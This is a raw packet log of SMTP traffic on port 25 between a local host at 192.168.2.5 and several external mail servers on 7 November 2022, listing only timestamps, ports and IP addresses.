Nov 7, 2022 22:24:21.285895109 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.285907984 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.285959005 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.285970926 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.285984039 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.286056042 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.286067009 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.286078930 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.286092043 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.286103964 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.286115885 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.286128044 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.291148901 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.291237116 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:21.321677923 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.338155985 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.338188887 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.338207006 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.338224888 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.338241100 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.338257074 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.338272095 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.338287115 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.338305950 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.338974953 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.339016914 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.339040041 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.339065075 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.339091063 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.339117050 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.339140892 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.339165926 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.339190006 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.339215040 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.339238882 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.339262962 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.339288950 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.339313030 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.339337111 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.339361906 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.339385986 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.339409113 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.339442015 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.339468002 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.339493036 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.339515924 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.339539051 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.339561939 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.339587927 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.339612007 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.339642048 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.339665890 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.339689016 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.339714050 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.339745045 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.339770079 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.339796066 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.339822054 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.339848042 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.339870930 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.339899063 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.339925051 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.339950085 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.339976072 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.340001106 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.340023994 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.340049028 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.340071917 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.340095997 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.340118885 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.340143919 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.340168953 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.340198040 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.340220928 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.340244055 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.340267897 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.340293884 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.340322971 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.340348005 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.340373993 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.340401888 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.340429068 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.340454102 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.340482950 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.340507030 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.340531111 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.340557098 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.340583086 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.340611935 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.340639114 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.340662956 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.340687990 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.340713978 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.340739965 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.340770006 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.340799093 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.340823889 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.340847969 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.340877056 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.340900898 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.340928078 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.340955019 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.340981960 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.341007948 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.341034889 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.341058016 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.341083050 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.341109991 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.341135025 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.341161013 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.341187000 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.341213942 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.341238022 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.341262102 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.341286898 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.341314077 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.341337919 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.341362000 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.341387987 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.341413975 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.341439009 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.360759020 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.409817934 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:21.414550066 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.420557022 CET	25	49707	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:21.436263084 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.442420006 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.442564011 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:21.471806049 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.479276896 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:21.482301950 CET	49716	25	192.168.2.5	198.252.153.129
Nov 7, 2022 22:24:21.498536110 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:21.508457899 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:21.511419058 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.520514965 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:21.527928114 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.529769897 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:21.529894114 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:21.552128077 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:21.552264929 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:21.565886974 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:21.565999985 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:21.570179939 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:21.570317030 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:21.594022989 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:21.594197035 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:21.601548910 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:21.612544060 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:21.613472939 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:21.623424053 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:21.625247955 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:21.630968094 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:21.635716915 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:21.644475937 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:21.650336981 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:21.653096914 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:21.658257008 CET	25	49716	198.252.153.129	192.168.2.5
Nov 7, 2022 22:24:21.658391953 CET	49716	25	192.168.2.5	198.252.153.129
Nov 7, 2022 22:24:21.678391933 CET	49707	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:21.680356979 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:21.683509111 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:21.688467979 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:21.688512087 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:21.716722012 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:21.716810942 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:21.716867924 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:21.751415014 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.752341986 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:21.753302097 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:21.768146038 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:21.774316072 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:21.794670105 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.797446012 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.799741030 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:21.800008059 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:21.831628084 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.831701994 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:21.837141991 CET	25	49716	198.252.153.129	192.168.2.5
Nov 7, 2022 22:24:21.857980967 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:21.858026028 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.875821114 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:21.886996984 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:21.886996984 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:21.887015104 CET	49716	25	192.168.2.5	198.252.153.129
Nov 7, 2022 22:24:21.899591923 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:21.919485092 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:21.926172018 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.926211119 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.926240921 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.926268101 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.926299095 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.926327944 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.926357985 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.926386118 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.926389933 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:21.926418066 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.926446915 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.926503897 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:21.926548004 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:21.926548004 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:21.926548004 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:21.926667929 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:21.944547892 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:21.952873945 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.952910900 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.952930927 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.952950954 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.952959061 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:21.952982903 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.953000069 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:21.953002930 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.953037977 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:21.953037977 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:21.953062057 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:21.953428030 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.953440905 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.953454018 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.953465939 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.953478098 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.953493118 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.953505039 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.953519106 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:21.953548908 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:21.953561068 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.953576088 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:21.953583956 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.953593969 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:21.953627110 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:21.953635931 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.953643084 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:21.953656912 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.953672886 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.953685999 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.953694105 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:21.953705072 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.953711987 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:21.953727961 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:21.953742027 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:21.953759909 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:21.954376936 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:21.954376936 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:21.961782932 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:21.979377985 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.979404926 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.979418993 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.979430914 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.979444027 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.979456902 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.979470968 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.979489088 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.979490042 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:21.979507923 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.979526043 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.979540110 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:21.979543924 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.979619026 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:21.979619026 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:21.979660988 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:21.979784966 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.979851007 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:21.979990959 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.980021954 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.980066061 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:21.980082989 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.980102062 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.980107069 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:21.980120897 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.980139017 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.980176926 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:21.980176926 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:21.980243921 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:21.980256081 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.980273962 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.980288982 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.980302095 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.980314970 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.980329037 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:21.980330944 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.980350971 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.980370998 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.980374098 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:21.980391979 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.980398893 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:21.980411053 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.980429888 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.980443001 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.980458975 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.980463982 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:21.980479956 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.980495930 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.980514050 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.980519056 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:21.980551004 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.980571985 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:21.980576992 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:21.980632067 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:21.980680943 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:21.994072914 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:21.994185925 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.006103039 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.006148100 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.006175041 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.006203890 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.006242990 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.006263018 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.006263018 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.006263971 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.006263971 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.006284952 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.006328106 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.006357908 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.006357908 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.006366968 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.006405115 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.006433010 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.006448984 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.006475925 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.006516933 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.006529093 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.006529093 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.006557941 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.006580114 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.006603003 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.006614923 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.006654024 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.006654978 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.006716013 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.006737947 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.006759882 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.006782055 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.006799936 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.006815910 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.006841898 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.006854057 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.006913900 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.006918907 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.006958961 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.006980896 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:22.007005930 CET	25	49714	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:22.007015944 CET	49714	25	192.168.2.5	142.250.102.27
